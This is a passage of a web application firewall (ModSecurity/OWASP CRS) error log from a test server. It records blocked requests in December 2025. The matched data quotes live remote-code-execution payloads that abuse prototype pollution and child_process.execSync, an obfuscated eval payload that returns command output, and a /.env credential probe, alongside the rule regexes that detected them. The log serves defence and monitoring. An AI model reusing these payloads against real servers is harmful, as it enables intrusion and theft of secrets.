`NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, \\x22_formData\\...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-xss&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/W [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aVGI4BPcUC2Mgaz_pbsx4gAAAAU&quot;]
[Sun Dec 28 20:45:36.405986 2025] [:error] [pid 1041676] [client 3.143.9.53:51718] [client 3.143.9.53] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aVGI4BPcUC2Mgaz_pbsx4gAAAAU&quot;]
[Sun Dec 28 20:45:36.406148 2025] [:error] [pid 1041676] [client 3.143.9.53:51718] [client 3.143.9.53] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aVGI4BPcUC2Mgaz_pbsx4gAAAAU&quot;]
[Mon Dec 29 03:54:59.616593 2025] [:error] [pid 1052541] [client 85.11.167.4:34812] [client 85.11.167.4] ModSecurity: Warning. Pattern match &quot;(?:;|\\\\{|\\\\||\\\\|\\\\||&amp;|&amp;&amp;|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|&lt;\\\\(|&gt;\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|&lt;.*|&gt;.*|\\\\&#039;.*\\\\&#039;|\\&quot;.*\\&quot;)\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:&#039;|\\&quot;)*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w&#039;\\&quot;\\\\./\\\\\\\\]+/)?[\\\\\\\\&#039;\\&quot;]*(?:s[\\\\\\\\&#039;\\&quot;]* ...&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;160&quot;] [id &quot;932105&quot;] [msg &quot;Remote Command Execution: Unix Command Injection&quot;] [data &quot;Matched Data: {&#039;timeout found within ARGS:0: {\\x22_response\\x22:{\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22},\\x22_prefix\\x22:\\x22var res=process.mainModule.require(&#039;child_process&#039;).execSync(&#039;echo VULN_1766976899_862&#039;,{&#039;timeout&#039;:30000}).toString();throw Object.assign(new Error(&#039;NEXT_REDIRECT&#039;),{digest:`${res}`});\\x22},\\x22reason\\x22:-1,\\x22status\\x22:\\x22resolved_model\\x22,\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag  [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVHtg9p5hrxbmrigAXprJwAAAAU&quot;], referer: https://pms.test.indacotrentino.com
[Mon Dec 29 03:54:59.616734 2025] [:error] [pid 1052541] [client 85.11.167.4:34812] [client 85.11.167.4] ModSecurity: Warning. Pattern match &quot;(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&amp;|&amp;&amp;|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\&#039;\\&quot;\\\\s]*(?:[\\\\w&#039;\\&quot;\\\\./]+/|[\\\\\\\\&#039;\\&quot;\\\\^]*\\\\w[\\\\\\\\&#039;\\&quot;\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w &#039;\\&quot;/\\\\\\\\]*\\\\\\\\)?[\\&quot;\\\\^]*(?:s[\\&quot;\\\\^]*(?:y[\\&quot;\\\\^]*s[\\&quot;\\\\^]*(?:t[\\&quot;\\\\^]*e[\\&quot;\\\\^]*m[\\&quot;\\\\^]*(?:p[\\&quot;\\\\^]*r[\\&quot;\\\\^]*o[\\&quot;\\\\^]*p[\\&quot;\\\\^]*e ...&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;298&quot;] [id &quot;932115&quot;] [msg &quot;Remote Command Execution: Windows Command Injection&quot;] [data &quot;Matched Data: {&#039;timeout found within ARGS:0: {\\x22_response\\x22:{\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22},\\x22_prefix\\x22:\\x22var res=process.mainModule.require(&#039;child_process&#039;).execSync(&#039;echo VULN_1766976899_862&#039;,{&#039;timeout&#039;:30000}).toString();throw Object.assign(new Error(&#039;NEXT_REDIRECT&#039;),{digest:`${res}`});\\x22},\\x22reason\\x22:-1,\\x22status\\x22:\\x22resolved_model\\x22,\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [t [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVHtg9p5hrxbmrigAXprJwAAAAU&quot;], referer: https://pms.test.indacotrentino.com
[Mon Dec 29 03:54:59.616823 2025] [:error] [pid 1052541] [client 85.11.167.4:34812] [client 85.11.167.4] ModSecurity: Warning. Pattern match &quot;(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[&lt;&gt;]\\\\(.*\\\\))&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;372&quot;] [id &quot;932130&quot;] [msg &quot;Remote Command Execution: Unix Shell Expression Found&quot;] [data &quot;Matched Data: ${res}`}) } reason:-1 status:resolved_model then:$1:__proto__:then value:{then: $b0}} found within ARGS:0: {_response:{_formdata:{get:$1:constructor:constructor} _prefix:var res=process.mainmodule.require(child_process).execsync(echo vuln_1766976899_862 {timeout:30000}).tostring() throw object.assign(new error(next_redirect) {digest:`${res}`}) } reason:-1 status:resolved_model then:$1:__proto__:then value:{then: $b0}}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-unix&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [tag &quot;PCI/6.5.2&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVHtg9p5hrxbmrigAXprJwAAAAU&quot;], referer: https://pms.test.indacotrentino.com
[Mon Dec 29 03:54:59.618030 2025] [:error] [pid 1052541] [client 85.11.167.4:34812] [client 85.11.167.4] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 15)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVHtg9p5hrxbmrigAXprJwAAAAU&quot;], referer: https://pms.test.indacotrentino.com
[Mon Dec 29 03:54:59.618219 2025] [:error] [pid 1052541] [client 85.11.167.4:34812] [client 85.11.167.4] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=15,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVHtg9p5hrxbmrigAXprJwAAAAU&quot;], referer: https://pms.test.indacotrentino.com
[Mon Dec 29 03:54:59.741760 2025] [:error] [pid 1052344] [client 85.11.167.4:34828] [client 85.11.167.4] ModSecurity: Warning. Pattern match &quot;(?:;|\\\\{|\\\\||\\\\|\\\\||&amp;|&amp;&amp;|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|&lt;\\\\(|&gt;\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|&lt;.*|&gt;.*|\\\\&#039;.*\\\\&#039;|\\&quot;.*\\&quot;)\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:&#039;|\\&quot;)*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w&#039;\\&quot;\\\\./\\\\\\\\]+/)?[\\\\\\\\&#039;\\&quot;]*(?:s[\\\\\\\\&#039;\\&quot;]* ...&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;160&quot;] [id &quot;932105&quot;] [msg &quot;Remote Command Execution: Unix Command Injection&quot;] [data &quot;Matched Data: {&#039;timeout found within ARGS:0: {\\x22_response\\x22:{\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22},\\x22_prefix\\x22:\\x22var res=process.mainModule.require(&#039;child_process&#039;).execSync(&#039;echo TEST_1766976899&#039;,{&#039;timeout&#039;:30000}).toString();throw Object.assign(new Error(&#039;NEXT_REDIRECT&#039;),{digest:`${res}`});\\x22},\\x22reason\\x22:-1,\\x22status\\x22:\\x22resolved_model\\x22,\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;app [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVHtgwr0ig2jL4trDlZ2OwAAAAM&quot;], referer: https://pms.test.indacotrentino.com
[Mon Dec 29 03:54:59.741912 2025] [:error] [pid 1052344] [client 85.11.167.4:34828] [client 85.11.167.4] ModSecurity: Warning. Pattern match &quot;(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&amp;|&amp;&amp;|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\&#039;\\&quot;\\\\s]*(?:[\\\\w&#039;\\&quot;\\\\./]+/|[\\\\\\\\&#039;\\&quot;\\\\^]*\\\\w[\\\\\\\\&#039;\\&quot;\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w &#039;\\&quot;/\\\\\\\\]*\\\\\\\\)?[\\&quot;\\\\^]*(?:s[\\&quot;\\\\^]*(?:y[\\&quot;\\\\^]*s[\\&quot;\\\\^]*(?:t[\\&quot;\\\\^]*e[\\&quot;\\\\^]*m[\\&quot;\\\\^]*(?:p[\\&quot;\\\\^]*r[\\&quot;\\\\^]*o[\\&quot;\\\\^]*p[\\&quot;\\\\^]*e ...&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;298&quot;] [id &quot;932115&quot;] [msg &quot;Remote Command Execution: Windows Command Injection&quot;] [data &quot;Matched Data: {&#039;timeout found within ARGS:0: {\\x22_response\\x22:{\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22},\\x22_prefix\\x22:\\x22var res=process.mainModule.require(&#039;child_process&#039;).execSync(&#039;echo TEST_1766976899&#039;,{&#039;timeout&#039;:30000}).toString();throw Object.assign(new Error(&#039;NEXT_REDIRECT&#039;),{digest:`${res}`});\\x22},\\x22reason\\x22:-1,\\x22status\\x22:\\x22resolved_model\\x22,\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot; [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVHtgwr0ig2jL4trDlZ2OwAAAAM&quot;], referer: https://pms.test.indacotrentino.com
[Mon Dec 29 03:54:59.742008 2025] [:error] [pid 1052344] [client 85.11.167.4:34828] [client 85.11.167.4] ModSecurity: Warning. Pattern match &quot;(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[&lt;&gt;]\\\\(.*\\\\))&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;372&quot;] [id &quot;932130&quot;] [msg &quot;Remote Command Execution: Unix Shell Expression Found&quot;] [data &quot;Matched Data: ${res}`}) } reason:-1 status:resolved_model then:$1:__proto__:then value:{then: $b0}} found within ARGS:0: {_response:{_formdata:{get:$1:constructor:constructor} _prefix:var res=process.mainmodule.require(child_process).execsync(echo test_1766976899 {timeout:30000}).tostring() throw object.assign(new error(next_redirect) {digest:`${res}`}) } reason:-1 status:resolved_model then:$1:__proto__:then value:{then: $b0}}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-unix&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [tag &quot;PCI/6.5.2&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVHtgwr0ig2jL4trDlZ2OwAAAAM&quot;], referer: https://pms.test.indacotrentino.com
[Mon Dec 29 03:54:59.743657 2025] [:error] [pid 1052344] [client 85.11.167.4:34828] [client 85.11.167.4] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 15)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVHtgwr0ig2jL4trDlZ2OwAAAAM&quot;], referer: https://pms.test.indacotrentino.com
[Mon Dec 29 03:54:59.743858 2025] [:error] [pid 1052344] [client 85.11.167.4:34828] [client 85.11.167.4] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=15,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVHtgwr0ig2jL4trDlZ2OwAAAAM&quot;], referer: https://pms.test.indacotrentino.com
[Mon Dec 29 09:14:17.473275 2025] [:error] [pid 1055030] [client 206.189.50.147:35872] [client 206.189.50.147] ModSecurity: Rule 7f2cb2301898 [id &quot;932110&quot;][file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;][line &quot;258&quot;] - Execution error - PCRE limits exceeded (-8): (null). [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVI4WaSxbnimJlUHnKp47gAAAAo&quot;]
[Mon Dec 29 09:14:17.473368 2025] [:error] [pid 1055030] [client 206.189.50.147:35872] [client 206.189.50.147] ModSecurity: Rule 7f2cb22f6760 [id &quot;932115&quot;][file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;][line &quot;298&quot;] - Execution error - PCRE limits exceeded (-8): (null). [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVI4WaSxbnimJlUHnKp47gAAAAo&quot;]
[Mon Dec 29 09:14:17.475081 2025] [:error] [pid 1055030] [client 206.189.50.147:35872] [client 206.189.50.147] ModSecurity: Warning. Pattern match &quot;(?i)\\\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ...&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf&quot;] [line &quot;350&quot;] [id &quot;933160&quot;] [msg &quot;PHP Injection Attack: High-Risk PHP Function Call Found&quot;] [data &quot;Matched Data: eval(user_code);            Promise.resolve(val).then(function(v) {                var res_str = (typeof v === &#039;object&#039;) ? JSON.stringify(v) : String(v);                try { res_str = zlib.deflateSync(res_str); } catch(e) {}                var res_hex = global[String.fromCharCode(66,117,102,102,101,114)].from(res_str).toString(&#039;hex&#039;);                reject(Object.assign(new Error(&#039;RCE_RES&#039;), { digest: res_hex }));            }).catch(function(e) {                reject(Object.assign(new Er...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_C [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVI4WaSxbnimJlUHnKp47gAAAAo&quot;]
[Mon Dec 29 09:14:17.475274 2025] [:error] [pid 1055030] [client 206.189.50.147:35872] [client 206.189.50.147] ModSecurity: Rule 7f2cb1f47bf8 [id &quot;933210&quot;][file &quot;/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf&quot;][line &quot;504&quot;] - Execution error - PCRE limits exceeded (-8): (null). [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVI4WaSxbnimJlUHnKp47gAAAAo&quot;]
[Mon Dec 29 09:14:17.475445 2025] [:error] [pid 1055030] [client 206.189.50.147:35872] [client 206.189.50.147] ModSecurity: Warning. Pattern match &quot;(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf&quot;] [line &quot;68&quot;] [id &quot;934100&quot;] [msg &quot;Node.js Injection Attack&quot;] [data &quot;Matched Data: String.fromCharCode found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var reject_bridge = arguments[1]; (Promise.all([Function(&#039;return import(\\x5c\\x22node:child_process\\x5c\\x22)&#039;)(), Function(&#039;return import(\\x5c\\x22node:zlib\\x5c\\x22)&#039;)()]).then(([cp, zlib]) =&gt; {    return new Promise((resolve, reject) =&gt; {      ...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-javascript&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rce&quot; [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVI4WaSxbnimJlUHnKp47gAAAAo&quot;]
[Mon Dec 29 09:14:17.475600 2025] [:error] [pid 1055030] [client 206.189.50.147:35872] [client 206.189.50.147] ModSecurity: Warning. Pattern match &quot;(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf&quot;] [line &quot;68&quot;] [id &quot;934100&quot;] [msg &quot;Node.js Injection Attack&quot;] [data &quot;Matched Data: String.fromCharCode found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var reject_bridge = arguments[1]; (Promise.all([Function(&#039;return import(\\x5c\\x22node:child_process\\x5c\\x22)&#039;)(), Function(&#039;return import(\\x5c\\x22node:zlib\\x5c\\x22)&#039;)()]).then(([cp, zlib]) =&gt; {    return new Promise((resolve, reject) =&gt; {      ...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-javascript&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rce&quot; [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVI4WaSxbnimJlUHnKp47gAAAAo&quot;]
[Mon Dec 29 09:14:17.477335 2025] [:error] [pid 1055030] [client 206.189.50.147:35872] [client 206.189.50.147] ModSecurity: Rule 7f2cb2b79320 [id &quot;941140&quot;][file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;][line &quot;179&quot;] - Execution error - PCRE limits exceeded (-8): (null). [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVI4WaSxbnimJlUHnKp47gAAAAo&quot;]
[Mon Dec 29 09:14:17.477479 2025] [:error] [pid 1055030] [client 206.189.50.147:35872] [client 206.189.50.147] ModSecurity: Rule 7f2cb2b70030 [id &quot;941160&quot;][file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;][line &quot;218&quot;] - Execution error - PCRE limits exceeded (-8): (null). [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVI4WaSxbnimJlUHnKp47gAAAAo&quot;]
[Mon Dec 29 09:14:17.484101 2025] [:error] [pid 1055030] [client 206.189.50.147:35872] [client 206.189.50.147] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 15)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVI4WaSxbnimJlUHnKp47gAAAAo&quot;]
[Mon Dec 29 09:14:17.484278 2025] [:error] [pid 1055030] [client 206.189.50.147:35872] [client 206.189.50.147] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=10,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVI4WaSxbnimJlUHnKp47gAAAAo&quot;]
[Wed Dec 31 00:30:58.558697 2025] [:error] [pid 1093188] [client 204.76.203.25:57924] [client 204.76.203.25] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aVRgsrgxy6SX8wHkiACi2wAAAAA&quot;]
[Wed Dec 31 00:30:58.558980 2025] [:error] [pid 1093188] [client 204.76.203.25:57924] [client 204.76.203.25] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aVRgsrgxy6SX8wHkiACi2wAAAAA&quot;]
[Wed Dec 31 00:30:58.559143 2025] [:error] [pid 1093188] [client 204.76.203.25:57924] [client 204.76.203.25] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aVRgsrgxy6SX8wHkiACi2wAAAAA&quot;]
